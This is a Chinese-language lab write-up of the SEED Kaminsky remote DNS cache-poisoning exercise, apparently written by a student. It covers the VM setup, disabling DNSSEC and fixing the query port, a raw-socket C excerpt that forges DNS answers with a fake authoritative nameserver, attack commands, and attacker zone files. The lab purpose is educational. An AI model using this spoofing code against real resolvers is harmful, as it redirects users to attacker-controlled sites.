一、实验描述
DNS(Domain Name System)是一个多层次的分布式数据库系统,其基本功能是完成域名解析,即提供域名和IP 地址之间的映射关系,为Internet 用户提供便利。DNS 服务器只记录本地资源的所有授权主机,若想查询非本地的主机信息,
则要向信息持有者(权威DNS 服务器)发送查询请求。为了避免每次查询都发送请求,DNS 服务器会把权威DNS 服务器返回的查询结果保存在缓存中,并保持一定时间,这就构成了DNS 缓存(DNS Cache)。DNS 缓存中毒攻击就是通过污染DNS Cache,用虚假的IP 地址信息替换Cache 中主机记录的真实IP 地
址信息,从而改变域名和IP 的映射关系。这样使得用户在访问某网站时会被错误引导至攻击者的网站中,从而被其获取重要的隐私信息。本实验主要是搭建实验环境,完成远程DNS 缓存中毒攻击实验(Kaminsky 攻击)。
二、实验参考资料
老师给的资料http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Networking/DNS_Remote/
修改过的代码下载地址,两个地址一个在百度云盘,一个直接在CSDN
http://download.csdn.net/detail/zengxyuyu/9704739
http://download.csdn.net/detail/zengxyuyu/9704749
一些可以看的帮助文档,这个文档做的不完整
http://wenku.baidu.com/link?url=MUEXKX4nYbYP2CIcrp6sbzZ8xChuHyqqU-bg9f5SJX74NVA2w3XUnpp7dvNCsRCDtrv8tczKx9m5zZ90StWGENpAP7coKDp6MMivyba-GBq
三、实验分析
首先,我们的目标是使得用户在访问www.example.com时,本地DNS服务器把该域名解析为我们设定的恶意IP地址,当用户访问该域下的其他域名时,本地DNS服务器会向假的DNS服务器请求应答。
www.example.com的真实权威域名服务器IP地址是93.184.216.34,它的DNS服务器由ICANN管理。 当用户对该域名执行dig命令或在浏览器打开网站时,用户的机器就会发送一个DNS请求到本地DNS服务器,并最终从www.example.com的DNS服务器获取到正确的IP地址。
要实现目标,我们实际上是对Apollo(本地DNS服务器)进行投毒,使得用户在对该域名执行dig命令或在浏览器打开网站时,变成是向攻击者的DNS服务器ns.dnslabattacker.net 提交请求,由此我们可以自己设定一个恶意IP地址,并使得用户被重定向到这个地址而不是在www.example.com DNS服务器中设定的正确IP地址。
具体来说,这个项目可以分为两个任务,一是缓存投毒,二是结果验证。在第一个任务中,我们要对Apollo进行投毒,使得Apollo的DNS缓存中,ns.dnslabattacker.net 被设定为example.com域名的域名服务器。 在第二个任务中,要验证投毒是否成功,也即检验在用户机上对www.example.com 使用dig命令确实返回我们设定的恶意IP地址。
如果Apollo中已经缓存好了example.com DNS服务器的地址,就不用再查询根DNS服务器了,这时会直接向example.com DNS服务器提出对域名的查询。攻击时利用的正是这一特性,我们可以向Apollo多次提交example.com 域下的不同域名的查询包,这样Apollo会向example.com DNS服务器提交多次查询,而此时我们通过大量伪造对应的应答包来进行匹配,只要能先于真正example.com DNS服务器应答包到达,则感染成功,Apollo会记录我们伪造包的信息,包括查询的域名和伪造的恶意IP,还有域名对应的伪造的DNS及DNS的ip,这样就成功毒化了。
归纳一下,毒化缓存主要有以下三个约束:
TTL约束: 域名不能够已经在dns cache server的缓存中
Guess约束:transaction id能够成功匹配。
- Window
Time约束:伪造包要比真正DNS服务器返回包快。
为了克服约束1,就有了Kaminsky Attack这种攻击方法。Kaminsky的主要技术是绕开TTL的约束,使得攻击具有较高的成功率。而且,Kaminsky并不只是毒化一个域名,它能把被攻击域名的权威域名服务器也进行毒化,改造为faked name server(伪造的权威域名服务器),从而具有极大的危害性。
四、实验步骤
(一)网络配置
1.虚拟机的网络连接模式为Nat模式,就是让虚拟系统借助NAT(网络地址转换)功能,通过宿主机器所在的网络来访问公网。
2.使用三台虚拟机,一台Apollo(本地DNS服务器,同时也是受害DNS服务器,Victim DNS server),一台用户(User,或者说客户端),一台攻击者(Attacker),下文中统一称呼都是Apollo,用户和攻击者。 不过我这次没有配置静态IP,所以实验时IP地址会与下图不一致。依次是192.168.109.140、192.168.109.141和192.168.109.139。
因为在Nat模式下,进入虚拟机,自动被分配IP,只需ifconfig查询一下三台主机的IP是什么,
这是教程上给的结构图:
(二)配置本地DNS服务器
1.安装bind9
sudo apt-get install bind9
2.以下两条命令可以帮助我们更好地进行实验:
rndc flush
rndc dumpdb -cache
其中第一条命令是把DNS缓存清空,第二条命令是把缓存转储到named_dump.db文件。named_dump.db在/var/cache/bind目录下
3.配置Apollo的DNS查询端口为33333,如果不设置的话,端口是随机的,则远程攻击时难度会更大(除了猜transaction ID还得猜port)。具体来说是通过修改Apollo的/etc/bind/named.conf.options文件实现的。
4.除了设置固定的端口以外,我们还需要关闭dnssec-validation服务,这是设置用来防止DNS缓存投毒攻击的。如果不关闭的话,攻击会非常困难。注释掉named.conf.options文件中的对应条目,并且加入关闭dnssec服务的语句:
5.启动DNS服务器:service bind9 start
重启DNS服务器:service bind9 restart
(三)配置客户端
在客户端我们需要配置使得Apollo (192.168.109.139) 成为客户端(192.168.109.141)的默认DNS服务器,通过修改客户端的DNS配置文件来实现。
1.修改etc文件夹下的resolv.conf文件
注意,因为Ubuntu系统中,resolv.conf会被DHCP客户端覆写,这样我们加入的内容就会被消除掉,为了避免这个状况我们要禁止DHCP。
2.禁止DHCP
点击All Settings,然后点击Network,在Wired选项卡点击Options按钮,然后在IPv4 Settings选项卡中把Method更改为Automatic(DHCP) addresses only,然后把DNS servers更改为前面设置的本地DNS服务器的ip地址。
因为没有找到实验指导中Network Icon的Auto eth0选项,所以这里直接手动从命令行重启一下网卡:
ifconfig eth0 down
ifconfig eth0 up
为了确保万无一失,重启一次虚拟机来使修改生效也行。再查看一下此时的DNS服务器,确实就我们刚刚配置的,DHCP被禁止了,没有对我们的修改进行覆盖,这样就证明配置成功了。
(四)配置攻击者
攻击者可以是网络上任意一台主机,我们可以通过raw socket编程来伪造DNS包进行攻击。但同时我们也要实现一个假的DNS服务器,这样当受害者使用域名访问网站时,我们可以把他们导向恶意网站了。这里我们把假的DNS服务器和攻击者的机器设置为同一台,但实际上可以是不同的主机。
1.配置攻击者的默认DNS服务器,使得在攻击者的机器上查询DNS时会向Apollo发出请求。这一步骤和配置用户机是一样的,修改resolv.conf文件,然后关闭DHCP服务即可。
2.伪造DNS应答包
我们从实验参考资料可以下载一份udp.c的文件,在这个项目中,我们使用raw socket编写c代码来实现,需要填充好DNS包的各个字段。
在用户主机上dig www.example.com
使用Wareshark捕捉:
一般每一个域名都至少要有两个DNS服务器,这样如果其中一个DNS服务器出现问题,另外一个也可以返回关于这个域名的数据,多个DNS服务器上的DNS记录应是相同的。
上图的两条数据一个是DNS,查询一个是DNS应答。
实验提供了程序udp.c,对它进行修改以便能实现在短时间内向发送大量DNS 请求包和回复包,从而成功替换受害者DNS 服务器缓存的对应关系。
dns->flags = htons(FLAG_R);
//only 1 query, so the count should be one.
dns->QDCOUNT = htons(1);
dns->ANCOUNT = htons(1);
dns->NSCOUNT = htons(1);
dns->ARCOUNT = htons(1);
//query string
strcpy(data, request_url);
int length = strlen(data) + 1;
//this is for convinience to get the struct type write the 4bytes in a more organized way.
struct dataEnd *end = (struct dataEnd *)(data + length);
end->type = htons(1);
end->class = htons(1);
//add the answer section here
char *ans = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length);
strcpy(ans, request_url);
int anslength = strlen(ans) + 1;
struct ansEnd *ansend = (struct ansEnd *)(ans + anslength);
ansend->type = htons(1);
ansend->class = htons(1);
ansend->ttl_l = htons(0x00);
ansend->ttl_h = htons(0xD0);
ansend->datalen = htons(4);
char *ansaddr = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength);
strcpy(ansaddr, "\1\1\1\1");
int addrlen = strlen(ansaddr);
//add the authoritative section here
char *ns = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength + addrlen);
strcpy(ns, "\7example\3com");
int nslength = strlen(ns) + 1;
struct nsEnd *nsend = (struct nsEnd *)(ns + nslength);
nsend->type = htons(2);
nsend->class = htons(1);
nsend->ttl_l = htons(0x00);
nsend->ttl_h = htons(0xD0);
nsend->datalen = htons(23);
char *nsname = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength + addrlen + sizeof(struct nsEnd) + nslength);
strcpy(nsname, "\2ns\16dnslabattacker\3net");
int nsnamelen = strlen(nsname) + 1;
//add the additional report here
char *ar = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength + addrlen + sizeof(struct nsEnd) + nslength + nsnamelen);
strcpy(ar, "\2ns\16dnslabattacker\3net");
int arlength = strlen(ar) + 1;
struct ansEnd *arend = (struct ansEnd *)(ar + arlength);
arend->type = htons(1);
arend->class = htons(1);
arend->ttl_l = htons(0x00);
arend->ttl_h = htons(0xD0);
arend->datalen = htons(4);
char *araddr = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength + addrlen + sizeof(struct nsEnd) + nslength + nsnamelen + arlength + sizeof(struct ansEnd));
strcpy(araddr, "\1\1\1\1");
int araddrlen = strlen(araddr);
/////////////////////////////////////////////////////////////////////
//
// DNS format, relate to the lab, you need to change them, end
//
//////////////////////////////////////////////////////////////////////
代码下载地址:见最下方资源下载地址
(五)开始攻击
在root权限下
1.编译udp.c
gcc -o udp udp.c
2.清空被攻击者缓存
3.发动攻击的命令,第一个IP是攻击者IP,第二个IP是被攻击者IP,检查IP不能写反
./udp 192.168.109.140 192.168.109.139
注意:该命令必须在root权限下运行,否则会出现error
4.Apollo收到大量应答包
一般一次就会成功,如果一次不成功,重启bind9,清空缓存,再次攻击
如果攻击成功,那么Apollo的DNS缓存就会像上图一样,可以看到example.com 的NS记录变成了我们伪造的ns.dnslabattacker.net。
攻击者ctrl+c命令可以结束攻击
(六)验证是否成功
1.将缓存导入
rndc dumpdb -cache
cd /var/cache/bind
gedit named_dump.db
说明DNS缓存已中毒,攻击成功
2.为了检验是否真的成功,我们可以在用户机上使用对www.example.com 使用dig命令,查看返回的IP地址。
可以看到下图
这是因为当Apollo收到缓存中不存在的DNS记录的查询时,它就会向我们设置的伪造域名服务器ns.dnslabattacker.net提交查询,因为这个域名服务器是不存在的,Apollo会发现这一点,然后把这条DNS记录设置为无效记录,这样毒化就失效了。这时可能会想,能不能在伪造应答包时给ns.dnslabattacker.net设置一个IP地址,从而使得伪造的域名服务器变为真实“存在”的呢?
答案是否定的,原因和前面分析为什么Apollo不直接接受.com的DNS返回的example.com的DNS a.iana-servers.net 的地址是一样的。因为我们伪造应答包是从a.iana-servers.net或者b.iana-servers.net这两个域名服务器返回的,它们不是负责管辖example.com这个域的权威域名服务器,所以即使我们设置了IP地址,Apollo也不会采纳。
有两个方案解决这个问题:
方案一、使用真正的域名
如果我们有真正的域名就不需要用ns.dnslabattacker.net这个假的了,直接替换掉伪造应答包中的ns.dnslabattacker.net就可以了。当然前提是我们的域名解析到了主机上面,能够提供应答,像本地攻击实验那样配置就可以了。
方案二、使用伪造的域名
因为我们没有真正的域名,所以实验中采用这个方案。直接在Apollo的DNS配置中增加一个ns.dnslabattacker.net对应的IP地址,把它指向攻击者的主机。这样Apollo就不需要去问上级DNS服务器ns.dnslabattacker.net的IP地址是什么,自然也就不会穿帮了。
2.方案2的具体配置
a).配置Apollo的/etc/bind/named.conf.local文件
zone "ns.dnslabattacker.net" {
type master;
file "/etc/bind/db.attacker";
};
db.attacker文件长这样:
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA localhost. root.localhost. (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns.dnslabattacker.net.
@ IN A 192.168.109.140
@ IN AAAA ::1
倒数第二行的IP是攻击者的IP
这样Apollo就不需要去问上级DNS服务器ns.dnslabattacker.net的IP地址是什么,直接向攻击者询问example.com的IP是什么,攻击者告诉给了一个其他网站的IP,用户就被导向了其他网站,还以为是example.com的网站
b).给攻击者装一个bind9,作为一个DNS服务器,当被攻击者向攻击者询问example.com的IP的时候,给它一个想要的IP
配置攻击者,把example.com.db拷到/etc/bind下
gedit named.conf.default-zones &
在文件里加入下列内容:
zone "example.com" {
type master;
file "/etc/bind/example.com.db";
};
example.com文件内容如下:
$TTL 3D
@ IN SOA ns.example.com. admin.example.com. (
2008111001
8H
2H
4W
1D)
@ IN NS ns.dnslabattacker.net.
@ IN MX 10 mail.example.com.
www IN A 1.1.1.1
mail IN A 1.1.1.2
*.example.com. IN A 1.1.1.100
3.重启Apollo
攻击者再次攻击,攻击成功后
用户机dig www.example.com,得到验证,返回IP为1.1.1.1
五、资源下载地址
http://download.csdn.net/detail/zengxyuyu/9704739
http://download.csdn.net/detail/zengxyuyu/9704749